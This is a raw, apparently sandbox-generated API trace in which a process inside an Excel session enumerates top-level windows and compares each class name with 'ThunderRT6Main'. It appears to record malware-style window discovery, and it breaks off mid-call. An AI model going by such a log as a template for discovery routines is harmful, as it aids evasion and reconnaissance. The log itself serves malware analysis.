[0106.394] GetWindow (hWnd=0x20286, uCmd=0x2) returned 0x30252 [0106.394] GetClassNameA (in: hWnd=0x30252, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0106.394] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0106.394] GetWindowThreadProcessId (in: hWnd=0x30252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0106.394] GetWindowLongA (hWnd=0x30252, nIndex=-16) returned 1149272145 [0106.394] GetWindow (hWnd=0x30252, uCmd=0x2) returned 0x102b0 [0106.394] GetClassNameA (in: hWnd=0x102b0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0106.394] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0106.394] GetWindowThreadProcessId (in: hWnd=0x102b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0106.394] GetWindow (hWnd=0x102b0, uCmd=0x2) returned 0x20256 [0106.394] GetClassNameA (in: hWnd=0x20256, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0106.394] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0106.394] GetWindowThreadProcessId (in: hWnd=0x20256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0106.394] GetWindowLongA (hWnd=0x20256, nIndex=-16) returned 213909504 [0106.394] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0106.394] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0106.394] GetWindow (hWnd=0x20256, uCmd=0x2) returned 0x10246 [0106.394] GetClassNameA (in: hWnd=0x10246, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0106.394] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0106.394] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0106.394] GetWindowLongA (hWnd=0x10246, nIndex=-16) returned -2080374784 [0106.395] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0106.395] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0106.395] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x20224 [0106.395] GetClassNameA (in: hWnd=0x20224, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0106.395] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0106.395] GetWindowThreadProcessId (in: hWnd=0x20224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0106.395] GetWindowLongA (hWnd=0x20224, nIndex=-16) returned -2080374784 [0106.395] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0106.395] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0106.395] GetWindow (hWnd=0x20224, uCmd=0x2) returned 0x101ee [0106.395] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0106.395] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0106.395] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0106.395] GetWindowLongA (hWnd=0x101ee, nIndex=-16) returned -2046820352 [0106.395] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0106.395] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0106.395] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101ec [0106.395] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0106.395] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0106.395] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0106.395] GetWindowLongA (hWnd=0x101ec, nIndex=-16) returned -2046820352 [0106.395] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0106.395] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0106.395] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ea [0106.395] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0106.395] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0106.395] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0106.395] GetWindowLongA (hWnd=0x101ea, nIndex=-16) returned -2046820352 [0106.395] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0106.395] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0106.395] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e8 [0106.395] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0106.395] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0106.395] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0106.395] GetWindowLongA (hWnd=0x101e8, nIndex=-16) returned -2046820352 [0106.395] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0106.395] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0106.395] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101c2 [0106.395] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0106.395] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0106.395] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0106.396] GetWindowLongA (hWnd=0x101c2, nIndex=-16) returned 114229248 [0106.396] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0106.396] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0106.396] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x401ba [0106.396] GetClassNameA (in: hWnd=0x401ba, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0106.396] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0106.396] GetWindowThreadProcessId (in: hWnd=0x401ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0106.396] GetWindow (hWnd=0x401ba, uCmd=0x2) returned 0x201b0 [0106.396] GetClassNameA (in: hWnd=0x201b0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ARC Window Class") returned 16 [0106.396] lstrcmpA (lpString1="ARC Window Class", lpString2="ThunderRT6Main") returned -1 [0106.396] GetWindowThreadProcessId (in: hWnd=0x201b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0106.396] GetWindowLongA (hWnd=0x201b0, nIndex=-16) returned -2080374784 [0106.396] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0106.396] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0106.396] GetWindow (hWnd=0x201b0, uCmd=0x2) returned 0x101a8 [0106.396] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.396] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.396] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0106.396] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101a6 [0106.396] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="bloggingroutesInformedwin") returned 25 [0106.396] lstrcmpA (lpString1="bloggingroutesInformedwin", lpString2="ThunderRT6Main") returned -1 [0106.396] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0106.396] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101e4 [0106.396] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0106.396] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0106.396] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0106.396] GetWindowLongA (hWnd=0x101e4, nIndex=-16) returned 1149272145 [0106.396] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101a4 [0106.396] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.396] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.396] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0106.396] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a2 [0106.396] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Sport_Verification_Trash_") returned 25 [0106.396] lstrcmpA (lpString1="Sport_Verification_Trash_", lpString2="ThunderRT6Main") returned -1 [0106.396] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0106.396] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x101a0 [0106.396] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.396] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.396] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0106.396] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x1019e [0106.396] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="CopyrightRegionalcls") returned 20 [0106.396] lstrcmpA (lpString1="CopyrightRegionalcls", lpString2="ThunderRT6Main") returned -1 [0106.396] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0106.397] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c [0106.397] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.397] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.397] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0106.397] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019a [0106.397] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ConstraintafterwardsmardiPortugalwin") returned 36 [0106.397] lstrcmpA (lpString1="ConstraintafterwardsmardiPortugalwin", lpString2="ThunderRT6Main") returned -1 [0106.397] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0106.397] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10198 [0106.397] GetClassNameA (in: hWnd=0x10198, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.397] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.397] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0106.397] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x10196 [0106.397] GetClassNameA (in: hWnd=0x10196, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="provincefiftySpankclass") returned 23 [0106.397] lstrcmpA (lpString1="provincefiftySpankclass", lpString2="ThunderRT6Main") returned -1 [0106.397] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0106.397] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10192 [0106.397] GetClassNameA (in: hWnd=0x10192, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="CurrencyAppointmentswnd") returned 23 [0106.397] lstrcmpA (lpString1="CurrencyAppointmentswnd", lpString2="ThunderRT6Main") returned -1 [0106.397] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0106.397] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x10194 [0106.397] GetClassNameA (in: hWnd=0x10194, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.397] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.397] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0106.397] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x1018e [0106.397] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Integer_Hop_Charming_app") returned 24 [0106.397] lstrcmpA (lpString1="Integer_Hop_Charming_app", lpString2="ThunderRT6Main") returned -1 [0106.397] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0106.397] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0106.397] GetClassNameA (in: hWnd=0x10190, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.397] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.397] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0106.397] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0106.397] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="different_Executed_helicopter_government_app") returned 44 [0106.397] lstrcmpA (lpString1="different_Executed_helicopter_government_app", lpString2="ThunderRT6Main") returned -1 [0106.397] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0106.397] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0106.397] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.397] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.397] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0106.397] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0106.398] GetClassNameA (in: hWnd=0x10186, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Blanket_Si_studies_win") returned 22 [0106.398] lstrcmpA (lpString1="Blanket_Si_studies_win", lpString2="ThunderRT6Main") returned -1 [0106.398] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0106.398] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0106.398] GetClassNameA (in: hWnd=0x10188, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.398] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.398] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0106.398] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0106.398] GetClassNameA (in: hWnd=0x10182, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="cfrwnd") returned 6 [0106.398] lstrcmpA (lpString1="cfrwnd", lpString2="ThunderRT6Main") returned -1 [0106.398] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0106.398] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0106.398] GetClassNameA (in: hWnd=0x10184, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.398] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.398] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0106.398] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0106.398] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Face_cls") returned 8 [0106.398] lstrcmpA (lpString1="Face_cls", lpString2="ThunderRT6Main") returned -1 [0106.398] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0106.398] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10180 [0106.398] GetClassNameA (in: hWnd=0x10180, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.398] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.398] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0106.398] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0106.398] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="latex_fairly_Tasks_win") returned 22 [0106.398] lstrcmpA (lpString1="latex_fairly_Tasks_win", lpString2="ThunderRT6Main") returned -1 [0106.398] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0106.398] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017e [0106.398] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.398] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.398] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0106.398] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10176 [0106.398] GetClassNameA (in: hWnd=0x10176, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="listed_Specifies_Thus_Traditional_window") returned 40 [0106.398] lstrcmpA (lpString1="listed_Specifies_Thus_Traditional_window", lpString2="ThunderRT6Main") returned -1 [0106.398] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0106.398] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0106.398] GetClassNameA (in: hWnd=0x10178, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.398] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.398] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0106.399] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0106.399] GetClassNameA (in: hWnd=0x10172, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Assessapp") returned 9 [0106.399] lstrcmpA (lpString1="Assessapp", lpString2="ThunderRT6Main") returned -1 [0106.399] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0106.399] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0106.399] GetClassNameA (in: hWnd=0x10174, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.399] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.399] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0106.399] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0106.399] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DutyUsualPositioningDepartmentswnd") returned 34 [0106.399] lstrcmpA (lpString1="DutyUsualPositioningDepartmentswnd", lpString2="ThunderRT6Main") returned -1 [0106.399] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0106.399] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0106.399] GetClassNameA (in: hWnd=0x10170, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.399] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.399] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0106.399] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0106.399] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="fr_cls") returned 6 [0106.399] lstrcmpA (lpString1="fr_cls", lpString2="ThunderRT6Main") returned -1 [0106.399] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0106.399] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0106.399] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.399] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.399] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0106.399] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166 [0106.399] GetClassNameA (in: hWnd=0x10166, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Profiles_camp_") returned 14 [0106.399] lstrcmpA (lpString1="Profiles_camp_", lpString2="ThunderRT6Main") returned -1 [0106.399] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0106.399] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168 [0106.399] GetClassNameA (in: hWnd=0x10168, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.399] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.399] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0106.399] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162 [0106.399] GetClassNameA (in: hWnd=0x10162, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="SheetCopiessurpluswindow") returned 24 [0106.399] lstrcmpA (lpString1="SheetCopiessurpluswindow", lpString2="ThunderRT6Main") returned -1 [0106.399] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0106.399] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164 [0106.399] GetClassNameA (in: hWnd=0x10164, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.399] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.400] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0106.400] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e [0106.400] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Watch_Equation_app") returned 18 [0106.400] lstrcmpA (lpString1="Watch_Equation_app", lpString2="ThunderRT6Main") returned 1 [0106.400] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0106.400] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160 [0106.400] GetClassNameA (in: hWnd=0x10160, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.400] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.400] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0106.400] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a [0106.400] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ie_wnd") returned 6 [0106.400] lstrcmpA (lpString1="ie_wnd", lpString2="ThunderRT6Main") returned -1 [0106.400] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0106.400] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c [0106.400] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.400] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.400] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0106.400] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x9009e [0106.400] GetClassNameA (in: hWnd=0x9009e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Outsourcing_win") returned 15 [0106.400] lstrcmpA (lpString1="Outsourcing_win", lpString2="ThunderRT6Main") returned -1 [0106.400] GetWindowThreadProcessId (in: hWnd=0x9009e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0106.400] GetWindow (hWnd=0x9009e, uCmd=0x2) returned 0x20156 [0106.400] GetClassNameA (in: hWnd=0x20156, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.400] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.400] GetWindowThreadProcessId (in: hWnd=0x20156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0106.400] GetWindow (hWnd=0x20156, uCmd=0x2) returned 0x50128 [0106.400] GetClassNameA (in: hWnd=0x50128, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Malta_Much_River_Citizenship_") returned 29 [0106.400] lstrcmpA (lpString1="Malta_Much_River_Citizenship_", lpString2="ThunderRT6Main") returned -1 [0106.400] GetWindowThreadProcessId (in: hWnd=0x50128, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0106.400] GetWindow (hWnd=0x50128, uCmd=0x2) returned 0x6011e [0106.400] GetClassNameA (in: hWnd=0x6011e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.400] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.400] GetWindowThreadProcessId (in: hWnd=0x6011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0106.400] GetWindow (hWnd=0x6011e, uCmd=0x2) returned 0x20020 [0106.400] GetClassNameA (in: hWnd=0x20020, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0106.400] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0106.400] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0106.401] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0106.401] GetClassNameA (in: hWnd=0x20024, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.401] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.401] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0106.401] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x20022 [0106.401] GetClassNameA (in: hWnd=0x20022, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0106.401] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0106.401] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0106.401] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x2001e [0106.401] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x20dc50, 